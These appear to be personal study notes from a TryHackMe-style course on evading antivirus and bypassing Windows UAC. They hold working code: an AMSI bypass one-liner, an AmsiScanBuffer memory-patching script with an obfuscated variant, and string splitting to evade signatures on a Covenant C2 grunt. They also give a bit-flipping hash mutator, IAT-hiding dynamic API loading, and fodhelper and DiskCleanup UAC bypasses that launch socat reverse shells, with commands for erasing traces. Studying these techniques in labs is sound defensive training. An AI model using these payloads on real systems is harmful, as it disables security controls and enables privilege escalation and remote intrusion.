000000E0   00 79 00 70 00 74 00 65  00 64 00 4D 00 65 00 73   ·y·p·t·e·d·M·e·s
000000F0   00 73 00 61 00 67 00 65  00 22 00 3A 00 22 00 7B   ·s·a·g·e·"·:·"·{

AmsiTrigger

GitHub - RythmStick/AMSITrigger: The Hunt for Malicious Strings

AMSI leverages the runtime, making signatures harder to identify and resolve. ThreatCheck does not support certain file types such as PowerShell that AMSITrigger does.

PS C:\> .\amsitrigger.exe -i bypass.ps1 -f 3
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Static Code-Based Signatures

Once we have identified a troublesome signature we need to decide how we want to deal with it. 

Obfuscating methods

Obfuscation Method Purpose
Method Proxy Creates a proxy method or a replacement object
Method Scattering/Aggregation Combine multiple methods into one or scatter a method into several
Method Clone Create replicas of a method and randomly call each

Obfuscating Classes

Obfuscation Method Purpose
Class Hierarchy Flattening Create proxies for classes using interfaces
Class Splitting/Coalescing Transfer local variables or instruction groups to another class
Dropping Modifiers Remove class modifiers (public, private) and make all members public

Splitting and Merging Objects

The premise behind this concept is looking to create a new object function that can break the signature while maintaining the previous functionality.

Using Custom Covenant Listener Profiles & Grunt Templates to Elude AV - Offensive Defence

Original String

Below is the original string that is detected

string MessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2},""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}";

Obfuscated Method

Below is the new class used to replace and concatenate the string.

public static string GetMessageFormat // Format the public method
{
    get // Return the property value
    {
        var sb = new StringBuilder(@"{{""GUID"":""{0}"","); // Start the built-in concatenation method
        sb.Append(@"""Type"":{1},"); // Append substrings onto the string
        sb.Append(@"""Meta"":""{2}"",");
        sb.Append(@"""IV"":""{3}"",");
        sb.Append(@"""EncryptedMessage"":""{4}"",");
        sb.Append(@"""HMAC"":""{5}""}}");
        return sb.ToString(); // Return the concatenated string to the class
    }
}
string MessageFormat = GetMessageFormat

Removing and Obscuring Identifiable Information

The process of removing or obscuring identifiable information to protect privacy and maintain anonymity.

In the task below AmsiTrigger detected that "AmsiScanBuffer" is triggered. So we have to obfuscate it.

Original

This code loads the Kernel32 type, retrieves the address of the AmsiScanBuffer function, modifies the memory protection, and overwrites the function with custom bytes, potentially altering its behavior or rendering it ineffective.

$MethodDefinition = "
    [DllImport(`"kernel32`")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport(`"kernel32`")]
    public static extern IntPtr GetModuleHandle(string lpModuleName);
    [DllImport(`"kernel32`")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
";
$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;
$A = "AmsiScanBuffer"
$handle = [Win32.Kernel32]::GetModuleHandle('amsi.dll');
[IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $A);
[UInt32]$Size = 0x5;
[UInt32]$ProtectFlag = 0x40;
[UInt32]$OldProtectFlag = 0;
[Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag);
$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3);
[system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6);

Obscured

$MethodDefinition = "
    [DllImport(`"kernel32`")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport(`"kernel32`")]
    public static extern IntPtr GetModuleHandle(string lpModuleName);
    [DllImport(`"kernel32`")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
";
$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;
$A = $([char[]](65, 109, 115, 105, 83, 99, 97, 110, 66, 117, 102, 102, 101, 114))[14..1] -join ''
$handle = [Win32.Kernel32]::GetModuleHandle('amsi.dll');
[IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $A);
[UInt32]$Size = 0x5;
[UInt32]$ProtectFlag = 0x40;
[UInt32]$OldProtectFlag = 0;
[Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag);
$buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3);
[system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6);

Static Property-Based Signatures

Different detection engines and analysts use various indicators, beyond strings or static signatures, to form hypotheses. These indicators can be associated with file properties such as hash, entropy, author, name, or other identifiable information, utilized individually or collectively, often through rule sets like YARA or Sigma.

File hashes

file hash, also known as a checksum, is used to tag/identify a unique file. 

If we have access to the source for an application, we can modify any arbitrary section of the code and re-compile it to create a new hash. 

When dealing with a signed or closed-source application, we must employ bit-flipping.

Bit-flipping is a common cryptographic attack that will mutate a given application by flipping and testing each possible bit until it finds a viable bit. By flipping one viable bit, it will change the signature and hash of the application while maintaining all functionality.

using System;
using System.IO;
class Program
{
    static void Main(string[] args)
    {
        byte[] orig = File.ReadAllBytes(args[0]);
        for (int i = 0; i < orig.Length; i++)
        {
            byte[] current = new byte[orig.Length];
            Array.Copy(orig, current, orig.Length);
            current[i] = (byte)(current[i] ^ 0xde);
            string path = $"{i}.exe";
            File.WriteAllBytes(path, current);
        }
        Console.WriteLine("done");
    }
}

This C# code reads the binary file specified as the command-line argument, performs bit-flipping on each byte, and creates mutated variants of the file by writing them to separate files (i.exe). The ^ operator is used for bitwise XOR operation to flip the bits. Finally, it prints "done" when the process is completed.

Once the list is created, we must search for intact unique properties of the file. For example, if we are bit-flipping msbuild, we need to use signtool to search for a file with a useable certificate. This will guarantee that the functionality of the file is not broken, and the application will maintain its signed attribution.

We can leverage a script to loop through the bit-flipped list and verify functional variants. Below is an example of a batch script implementation.

FOR /L %%A IN (1,1,10000) DO (
	signtool verify /v /a flipped\\%%A.exe
)

Entropy

Entropy is a measure of data randomness used by EDRs and scanners to detect suspicious files. Obfuscated scripts can pose challenges for entropy-based analysis. To reduce entropy, we can replace random identifiers with English words. Comparing entropy values can demonstrate the effectiveness of identifier changes. EDRs typically consider entropy values above 6.8 as suspicious. However, entropy alone is not conclusive evidence and is used in conjunction with other indicators.

Behavioral Signatures

Obfuscating functions and properties can have significant impacts with minimal modifications. However, modern anti-virus engines employ various techniques, such as observing imports and hooking known malicious calls, to detect suspicious behavior. While imports can be easily obfuscated, hooking requires more complex techniques. API calls play a crucial role in determining file suspiciousness, and their addresses are obtained dynamically using the Windows loader and the Import Address Table (IAT) in the PE header.

Windows Sockets 2 - Win32 apps | Microsoft Learn

Find Syntax for API calls

How to inspect Import Address Table (IAT)

.EXE

To inspect the Import Address Table (IAT) of an EXE file, you can use various tools and techniques depending on your platform. Here are a few examples:

  • Using Dependency Walker (Windows):
  • Launch Dependency Walker and open the EXE file you want to inspect.
  • It will display a hierarchical view of the imported functions and the corresponding DLLs in the IAT.
  • Using PEView (Windows):
  • Launch PEView and open the EXE file you want to inspect.
  • Navigate to the "Imported DLLs" section, which will show the imported functions and the corresponding DLLs in the IAT.
  • Using objdump (Linux):
  • Open a terminal and navigate to the directory where the EXE file is located.
  • Run the following command to display the IAT:
  • objdump -p <binary_file>
  • Replace <binary_file> with the name of your EXE file.
  • Look for the "Dynamic Section" or "Import Section" in the output. It will contain information about imported symbols and the corresponding shared libraries.
    2. Using PE Explorer

PE Explorer: EXE File Editor, DLL View Scan Tool for 32-bit Windows PE files. (pe-explorer.com)

   3. Using IDA Pro
  • Load the PE binary
  • Once loaded, click on the "Imports" tab.
  • Look for the API calls.

.ELF

To inspect the Import Address Table (IAT) of an ELF (Executable and Linkable Format) file, you can use various tools and techniques depending on your platform. Here are a few examples:

  • Using readelf (Linux):
  • Open a terminal and navigate to the directory where the ELF file is located.
  • Run the following command to display the dynamic section and imported symbols:

readelf -d <binary_file> Replace <binary_file> with the name of your ELF file.

  • Look for the "Dynamic Section" in the output. It will contain information about imported symbols and the corresponding shared libraries.
  • Using objdump (Linux):
  • Open a terminal and navigate to the directory where the ELF file is located.
  • Run the following command to display the dynamic section and imported symbols:

objdump -p <binary_file> Replace <binary_file> with the name of your ELF file.

  • Look for the "Dynamic Section" or "Import Section" in the output. It will contain information about imported symbols and the corresponding shared libraries.
  • Using nm (Linux):
  • Open a terminal and navigate to the directory where the ELF file is located.
  • Run the following command to display the symbols and their associated libraries:

nm -D <binary_file> Replace <binary_file> with the name of your ELF file.

  • Look for the symbols starting with "U" (meaning undefined). These symbols represent imported functions.

High-level Dynamic Loading in C

At a high level, we can break up dynamic loading in C languages into four steps,

  • Define the structure of the call
  • Obtain the handle of the module the call address is present in
  • Obtain the process address of the call
  • Use the newly created call

To begin dynamically loading an API call, we must first define a structure for the call before the main function. The call structure will define any inputs or outputs that may be required for the call to function. We can find structures for a specific call on the Microsoft documentation. For example, the structure for GetComputerNameA can be found here. Because we are implementing this as a new call in C, the syntax must change a little, but the structure stays the same, as seen below.

// 1. Define the structure of the call
typedef BOOL (WINAPI* myNotGetComputerNameA)(
	LPSTR   lpBuffer,
	LPDWORD nSize
);

To access the address of the API call, we must first load the library where it is defined. We will define this in the main function. This is commonly kernel32.dll or ntdll.dll for any Windows API calls. Below is an example of the syntax required to load a library into a module handle.

// 2. Obtain the handle of the module the call address is present in
HMODULE hkernel32 = LoadLibraryA("kernel32.dll");

Using the previously loaded module, we can obtain the process address for the specified API call. This will come directly after the LoadLibrary call. We can store this call by casting it along with the previously defined structure. Below is an example of the syntax required to obtain the API call.

// 3. Obtain the process address of the call
myNotGetComputerNameA notGetComputerNameA = (myNotGetComputerNameA) GetProcAddress(hkernel32, "GetComputerNameA");

Although this method solves many concerns and problems, there are still several considerations that must be noted. Firstly, GetProcAddress and LoadLibraryA are still present in the IAT; although not a direct indicator it can lead to or reinforce suspicion; this problem can be solved using PIC (Position Independent Code). Modern agents will also hook specific functions and monitor kernel interactions; this can be solved using API unhooking.

Task

Obfuscate the following C snippet, ensuring no suspicious API calls are present in the IAT.

Original

#include
#include
#include
int main() {
    printf("GetComputerNameA: 0x%p\\n", GetComputerNameA);
    CHAR hostName[260];
    DWORD hostNameLength = 260;
    if (GetComputerNameA(hostName, &hostNameLength)) {
        printf("hostname: %s\\n", hostName);
    }
}

Obfuscated

#include
#include
#include
// 1. Define the structure of the call
typedef BOOL(WINAPI* myNotGetComputerNameA)(
    LPSTR   lpBuffer,
    LPDWORD nSize
    );

int main() {
    // 2. Obtain the handle of the module the call address is present in
    HMODULE hkernel32 = LoadLibraryA("kernel32.dll");
    // 3. Obtain the process address of the call
    myNotGetComputerNameA notGetComputerNameA = (myNotGetComputerNameA)GetProcAddress(hkernel32, "GetComputerNameA");

    printf("notGetComputerNameA: 0x%p\\n", GetComputerNameA);
    CHAR hostName[260];
    DWORD hostNameLength = 260;
    if (notGetComputerNameA(hostName, &hostNameLength)) {
        printf("hostname: %s\\n", hostName);
    }
}

UAC Bypass

User Account Control

What is UAC?

User Account Control (UAC) is a Windows security feature that forces any new process to run in the security context of a non-privileged account by default. This policy applies to processes started by any user, including administrators themselves. The idea is that we can't solely rely on the user's identity to determine if some actions should be authorized.

Imagine you are using your computer and you receive an email with an attached file. The email claims to be from a trusted source, but you're not entirely sure if it's legitimate. Without thinking much about it, you download and open the file.

Now, let's consider two scenarios: one with UAC disabled and the other with UAC enabled.

  • UAC Disabled: In this scenario, your computer has UAC disabled, and you are logged in as an administrator. When you open the file, the malicious program hidden within it gains instant access to your administrator privileges. It can then carry out various actions on your computer without any restrictions. It might modify system settings, delete important files, or install other malware without your knowledge or consent. The consequences can be severe, and your computer's security is at risk.
  • UAC Enabled: In this scenario, UAC is enabled on your computer, and you are logged in as an administrator. When you open the file, UAC recognizes that a new program is attempting to run and triggers a prompt. The prompt asks for your explicit approval to run the program with administrative privileges. At this point, you become aware that something is trying to gain elevated access to your system. You can review the prompt, assess the legitimacy of the program, and decide whether to authorize its execution. If you're suspicious or uncertain about the file's source, you can deny the request and prevent the malicious program from gaining administrator privileges. By enabling UAC, you have added a layer of protection that helps prevent unauthorized actions and potential damage to your computer.

Integrity Levels

UAC, or User Account Control, is a security feature in Windows that uses something called Mandatory Integrity Control (MIC). It helps keep things safe by giving different levels of access to users, programs, and files. Imagine it like giving different security badges to different people.

UAC and MIC use Integrity Levels (ILs) to determine who can access what. Think of ILs as different ranks or levels of access. If you have a higher IL, you can access resources with lower or equal ILs. It's like having a higher security clearance that allows you to enter certain areas.

In simple terms, UAC and MIC make sure that users, programs, and files have different access levels. It's like giving different security badges to different people, and the highest badge gets the most access. MIC is in charge and overrides the regular rules, so even if you have permission, your access depends on your IL.

The following 4 ILs are used by Windows, ordered from lowest to highest:

Integrity Level Use
Low Generally used for interaction with the Internet (i.e. Internet Explorer). Has very limited permissions.
Medium Assigned to standard users and Administrators' filtered tokens.
High Used by Administrators' elevated tokens if UAC is enabled. If UAC is disabled, all administrators will always use a high IL token.
System Reserved for system use.

Filtered Tokens

To accomplish this separation of roles, UAC treats regular users and administrators in a slightly different way during logon:

  • Non-administrators will receive a single access token when logged in, which will be used for all tasks performed by the user. This token has Medium IL.
  • Administrators will receive two access tokens:

Filtered Token: A token with Administrator privileges stripped, used for regular operations. This token has Medium IL.

  • Elevated Token: A token with full Administrator privileges, used when something needs to be run with administrative privileges. This token has High IL.

UAC Internals

At the heart of UAC, we have the Application Information Service or Appinfo. Whenever a user requires elevation, the following occurs:

  • The user requests to run an application as administrator.
  • ShellExecute API call is made using the runas verb.
  • The request gets forwarded to Appinfo to handle elevation.
  • The application manifest is checked to see if AutoElevation is allowed (more on this later).
  • Appinfo executes consent.exe, which shows the UAC prompt on a secure desktop. A secure desktop is simply a separate desktop that isolates processes from whatever is running in the actual user's desktop to avoid other processes from tampering with the UAC prompt in any way.
  • If the user gives consent to run the application as administrator, the Appinfo service will execute the request using a user's Elevated Token. Appinfo will then set the parent process ID of the new process to point to the shell from which elevation was requested.
File:Fce906f0e438efa938753430e5d25afe.png
https://tryhackme-images.s3.amazonaws.com/user-uploads/5ed5961c6276df568891c3ea/room-content/fce906f0e438efa938753430e5d25afe.png

UAC - GUI based Bypass

msconfig

azman.msc

UAC - Auto-elevating Process

Some executables can auto-elevate, achieving high IL without any user intervention. This applies to most of the Control Panel's functionality and some executables provided with Windows.

For an application, some requirements need to be met to auto-elevate:

  • The executable must be signed by the Windows Publisher
  • The executable must be contained in a trusted directory, like %SystemRoot%/System32/' or %ProgramFiles%/

Some application may have additional requirments:

  • Executable files (.exe) must declare the autoElevate element inside their manifests. 

To check a file's manifest, we can use sigcheck.

C:\tools\> sigcheck64.exe -m c:/windows/system32/msconfig.exe
...

		true
		true

Case study: Fodhelper

This will be caught by Windows defender without obfuscation because of registry-key manipulation.

# This UAC bypass tries to execute your command with elevated privileges using fodhelper.exe
# Define the command you want to execute with elevated privileges
$yourevilcommand = "C:\Windows\System32\cmd.exe"
# Adding all the registry keys required to associate your command with ms-settings
# Create a new registry key for the ms-settings ProgID under the current user's hive
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
# Create a new registry value called DelegateExecute with an empty value under the ms-settings ProgID key
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
# Set the default value of the ms-settings ProgID key to your evil command
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $yourevilcommand -Force
# Start the fodhelper process to execute your command with elevated privileges
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
# Cleaning up the mess created by removing the ms-settings registry key and its subkeys
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force

UAC - Improving Fodhelper exploit to Bypass Windows Defender 

Instead of writing our payload into HKCU\Software\Classes\ms-settings\Shell\Open\command', we will use the CurVer' entry under a progID registry key. This entry is used when you have multiple instances of an application with different versions running on the same system. CurVer allows you to point to the default version of the application to be used by Windows when opening a given file type.

To this end, we will create an entry on the registry for a new progID of our choice (any name will do) and then point the CurVer entry in the ms-settings progID to our newly created progID. This way, when fodhelper tries opening a file using the ms-settings progID, it will notice the CurVer entry pointing to our new progID and check it to see what command to use.

The exploit code proposed by @V3ded.

This will still be caught by Windows Defender, but the idea here is to play around with different ways to bypass AV.

# Define the command you want to execute with elevated privileges
$program = "powershell -windowstyle hidden C:\tools\socat\socat.exe TCP::4445 EXEC:cmd.exe,pipes"
# Creating file association for custom extension ".pwn" to execute your command
# Create a new registry key for the file extension ".pwn" under the current user's hive
New-Item "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Force
# Set the default value of the ".pwn" key to your program/command
Set-ItemProperty "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Name "(default)" -Value $program -Force
# Create a new registry key under the current user's hive for the ms-settings ProgID association
New-Item -Path "HKCU:\Software\Classes\ms-settings\CurVer" -Force
# Set the default value of the ms-settings CurVer key to ".pwn" (your custom extension)
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\CurVer" -Name "(default)" -Value ".pwn" -Force
# Start the fodhelper process to execute your command with elevated privileges
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden

Case study: Disk Cleanup Scheduled Task

Source: TryHackMe | Bypassing UAC

To understand why we are picking Disk Cleanup, let's open the Task Scheduler and check the task's configuration:

File:24b5ce8c9a6cb1194ed66054bc2ed09e.png

Here we can see that the task is configured to run with the Users account, which means it will inherit the privileges from the calling user. The Run with highest privileges option will use the highest privilege security token available to the calling user, which is a high IL token for an administrator. Notice that if a regular non-admin user invokes this task, it will execute with medium IL only since that is the highest privilege token available to non-admins, and therefore the bypass wouldn't work.

Checking the Actions and Settings tabs, we have the following:

File:3b8dd4c6a441eb19620bc3bedd536a8b.png

The task can be run on-demand, executing the following command when invoked:

%windir%\system32\cleanmgr.exe /autoclean /d %systemdrive%

Since the command depends on environment variables, we might be able to inject commands through them and get them executed by starting the DiskCleanup task manually.

Luckily for us, we can override the %windir% variable through the registry by creating an entry in HKCU\Environment'. If we want to execute a reverse shell using socat, we can set %windir%  as follows (without the quotes):

"cmd.exe /c C:\tools\socat\socat.exe TCP::4445 EXEC:cmd.exe,pipes &REM "

At the end of our command, we concatenate "&REM " (ending with a blank space) to comment whatever is put after %windir% when expanding the environment variable to get the final command used by DiskCleanup. The resulting command would be (be sure to replace your IP address where needed):

cmd.exe /c C:\tools\socat\socat.exe TCP::4445 EXEC:cmd.exe,pipes &REM \system32\cleanmgr.exe /autoclean /d %systemdrive%

Where anything after the "REM" is ignored as a comment.

Putting it all together

Let's set up a listener for a reverse shell with nc: nc -lvp 4446

We will then connect to the backdoor provided on port 9999: nc MACHINE_IP 9999

And finally, run the following commands to write our payload to %windir% and then execute the DiskCleanup task (be sure to replace your IP address where needed):

C:\> reg add "HKCU\Environment" /v "windir" /d "cmd.exe /c C:\tools\socat\socat.exe TCP::4446 EXEC:cmd.exe,pipes &REM " /f
C:\> schtasks /run  /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I

As a result, you should obtain a shell with high IL:

user@kali$ nc -lvp 4446
Listening on 0.0.0.0 4446
Connection received on 10.10.183.127 25631
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami /groups | find "Label"
Mandatory Label\High Mandatory Level                          Label            S-1-16-12288

To retrieve the DiskCleanup flag, use your new shell to execute:

Administrator: Command Prompt

C:\flags\GetFlag-diskcleanup.exe

Clearing our tracks

As a result of executing this exploit, some artefacts were created on the target system, such as registry keys. To avoid detection, we need to clean up after ourselves with the following command:

reg delete "HKCU\Environment" /v "windir" /f

Living off the Land

What is Living off the Land?

"Living Off the Land" refers to a technique used by attackers or hackers to leverage existing tools, utilities, or features that are already present on a targeted system or network for malicious purposes. Rather than relying on sophisticated malware or external tools, attackers exploit legitimate software or built-in functionalities to carry out their activities, making it harder to detect their actions.

Windows Sysinternals

The following are some popular Windows Sysinternals tools:

AccessChk Helps system administrators check specified access for files, directories, Registry keys, global objects, and Windows services.
PsExec A tool that executes programs on a remote system.
ADExplorer An advanced Active Directory tool that helps to easily view and manage the AD database.
ProcDump Monitors running processes for CPU spikes and the ability to dump memory for further analysis.
ProcMon An essential tool for process monitoring.
TCPView A tool that lists all TCP and UDP connections.
PsTools The first tool designed in the Sysinternals suite to help list detailed information.
Portmon Monitors and displays all serial and parallel port activity on a system.
Whois Provides information for a specified domain name or IP address.

LOLBAS Project

LOLBAS (lolbas-project.github.io)